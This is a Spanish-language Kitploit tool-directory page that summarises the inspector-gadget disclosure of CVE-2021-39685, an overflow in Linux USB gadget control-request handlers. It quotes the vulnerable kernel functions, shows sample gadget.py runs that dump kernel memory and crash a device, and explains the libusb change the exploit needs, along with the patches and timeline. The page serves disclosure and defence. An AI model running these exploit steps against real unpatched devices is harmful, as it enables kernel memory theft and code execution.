Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
inspector-gadget — Descripción de CVE-2021-39685 y exploit de muestra para la vulnerabilidad de desbordamiento de Linux USB Gadget | Kitploit
Herramientas/GitHubGitHub/szymonh/inspector-gadget
Seguridad de Sistemas EmbebidosAnálisis de VulnerabilidadesExplotaciónFuzzingSeguridad de HardwareExplotación de Binarios
GitHubszymonh/inspector-gadget

inspector-gadget

Descripción de CVE-2021-39685 y exploit de muestra para la vulnerabilidad de desbordamiento de Linux USB Gadget

Ver Repositorio
141hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

inspector-gadget

root@kitploit:~
    Go Go Gadget Exploit!
     _..--"\  `|`""--.._
  .-'       \  |        `'-.
 /           \_|___...----'`\
|__,,..--""``(_)--..__      |
'\     _.--'`.I._     ''--..'
  `''"`,#JGS/_|_\###,---'`
    ,#'  _.:`___`:-._ '#,
   #'  ,~'-;(oIo);-'~, '#
   #   `~-(  |    )=~`  #
   #       | |_  |      #
   #       ; ._. ;      #
   #  _..-;|\ - /|;-._  #
   #-'   /_ \\_// _\  '-#
 /`#    ; /__\-'__\;    #`\
;  #\.--|  |O  O   |'-./#  ;
|__#/   \ _;O__O___/   \#__|
 | #\    [I_[_]__I]    /# |
 \_(#   /  |O  O   \   #)_/
       /   |        \
      /    |         \
     /    /\          \
    /     | `\         ;
   ;      \   '.       |
    \-._.__\     \_..-'/
     '.\  \-.._.-/  /'`
        \_.\    /._/
         \_.;  ;._/
       .-'-./  \.-'-.
      (___.'    '.___)

Resumen

Un atacante puede acceder a la memoria del kernel omitiendo los límites válidos del búfer al explotar la implementación de los manejadores de solicitudes de control en los siguientes gadgets usb: rndis, hid, uac1, uac1_legacy y uac2. El procesamiento de solicitudes maliciosas de transferencia de control con un wLength inesperadamente grande no garantiza que este valor no exceda el tamaño del búfer. Debido a esto, uno es capaz de leer y/o escribir (dependiendo del caso particular) hasta 65k de memoria del kernel.

Descripción

Algunas rutas de ejecución de los manejadores de transferencia de control usb de gadgets como rndis, hid, uac1, uac1_legacy y uac2 no incluyen un manejo adecuado de la longitud de la solicitud (wLength). Este valor debería limitarse al tamaño del búfer para prevenir vulnerabilidades de desbordamiento de búfer en la fase de transferencia de datos.

El búfer utilizado por el endpoint 0 se asigna en composite.c con un tamaño de USB_COMP_EP0_BUFSIZ (4096) bytes, por lo que establecer wLength a un valor mayor que USB_COMP_EP0_BUFSIZ resultará en un desbordamiento de búfer.

Por ejemplo, en el caso de f_uac1.c, la ejecución de la función f_audio_setup permite realizar tanto lecturas como escrituras más allá de los límites del búfer. Ni f_audio_setup ni ninguna de las funciones llamadas (audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in) limitan el valor de retorno para que sea menor que el tamaño del búfer. En consecuencia, la fase de transferencia de datos usa req->length = value = ctrl->wLength, que está controlado por el atacante. Esto permite leer o escribir hasta 65k bytes de memoria del kernel dependiendo de la dirección de la transferencia de control.

root@kitploit:~
    static int
    f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);

            /* composite driver infrastructure handles everything; interface
             * activation uses set_alt().
             */
            switch (ctrl->bRequestType) {
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_set_endpoint_req(f, ctrl);
                    break;

            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_get_endpoint_req(f, ctrl);
                    break;
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    if (ctrl->bRequest == UAC_SET_CUR)
                            value = out_rq_cur(f, ctrl);
                    break;
            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    value = ac_rq_in(f, ctrl);
                    break;
            default:
                    ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
            }

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = 0;
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);

                    if (value < 0)
                            ERROR(cdev, "audio response on err %d\n", value);
            }

            /* device either stalls (value < 0) or reports success */
            return value;
    }

La ejecución del exploit de lectura de muestra permite volcar hasta 65k de memoria.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
    65535
root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings

    nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
    tem.slice/system-getty.slice/[email protected]
    !rE*
    ?& .4!
    0usb_composite_setup_continue
    composite_setup
    usb_gadget_get_string
    usb_otg_descriptor_init
    usb_otg_descriptor_alloc
    usb_free_all_descriptors
    usb_assign_descriptors
    usb_copy_descriptors

    usb_gadget_config_buf

Por otro lado, la ejecución del exploit de sobrescritura permite escribir datos arbitrarios más allá de los límites esperados del búfer.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write

    Message from syslogd@zero at Dec  6 19:56:01 ...
     kernel:[  103.850206] Internal error: Oops: 5 [#1] ARM

Del mismo modo, en el caso del gadget rndis, la función rndis_setup puede explotarse para escribir más allá de los límites del búfer utilizando una solicitud de transferencia de control con dirección de salida, tipo clase, interfaz destinataria y bRequest establecido en USB_CDC_SEND_ENCAPSULATED_COMMAND.

root@kitploit:~
    static int
    rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct f_rndis          *rndis = func_to_rndis(f);
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);
            /* composite driver infrastructure handles everything except
             * CDC class messages; interface activation uses set_alt().
             */
            switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
            /* RNDIS uses the CDC command encapsulation mechanism to implement
             * an RPC scheme, with much getting/setting of attributes by OID.
             */
            case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
                            | USB_CDC_SEND_ENCAPSULATED_COMMAND:
                    if (w_value || w_index != rndis->ctrl_id)
                            goto invalid;
                    /* read the request; process it later */
                    value = w_length;
                    req->complete = rndis_command_complete;
                    req->context = rndis;
                    /* later, rndis_response_available() sends a notification */
                    break;

     ...

     ...

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = (value < w_length);
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
                    if (value < 0)
                            ERROR(cdev, "rndis response on err %d\n", value);
            }
            /* device either stalls (value < 0) or reports success */
            return value;

    }

Rutas de ejecución vulnerables:

  • f_rndis.c
    • rndis_setup
  • f_uac1.c
    • out_rq_cur
    • ac_rq_in
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac1_legacy.c
    • audio_set_intf_req
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac2.c
    • out_rq_cur
  • f_hid.c
    • hid_gsetup para el caso HID_REQ_SET_REPORT

Impacto

Los dispositivos que implementan clases de gadget usb afectadas (rndis, hid, uac1, uac1_legacy, uac2) pueden verse afectados por vulnerabilidades de desbordamiento de búfer que resultan en divulgación de información, denegación de servicio o ejecución de código arbitrario en el contexto del kernel.

Resolución esperada

Limitar el tamaño de la fase de transferencia a min(len, buffer_size) en los manejadores de solicitudes de control afectados para asegurar que no ocurra un desbordamiento de búfer.

Fechas clave

  • 07.12.2021 - se informó el problema al equipo de seguridad del kernel
  • 09.12.2021 - el equipo de seguridad del kernel proporcionó un parche preliminar
  • 12.12.2021 - la corrección se fusionó en el árbol principal del kernel de Linux (público)

CVE

CVE-2021-39685

Exploit

Emitir solicitudes de transferencia de control con wLength mayor que los 4096 bytes estándar requiere que el host use una compilación personalizada de libusb con MAX_CTRL_BUFFER_LENGTH aumentado a 0xffff. Este valor se puede modificar en libusb/os/linux_usbfs.h antes de la compilación.

El script gadget.py requiere pyusb. Puedes instalar este paquete mediante pip como se muestra a continuación.

python3 -m pip install pyusb

Se puede acceder a la ayuda con los parámetros -h o --help.

root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
                 [-f {rndis,uac1,uac1_legacy,uac2,hid}]

Sample exploit for RNDIS gadget class

optional arguments:
  -h, --help            show this help message and exit
  -v VID, --vid VID     vendor id
  -p PID, --pid PID     product id
  -l LENGTH, --length LENGTH
                        lenght of data to write
  -d {read,write}, --direction {read,write}
                        direction of operation from host perspective
  -f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}

Ejemplos de invocación:

root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis

Parches

  • USB: gadget: detect too-big endpoint 0 requests
  • USB: gadget: bRequestType is a bitfield, not a enum

Notas finales

Por favor, actualiza tu kernel a la última versión estable.

Descargar herramienta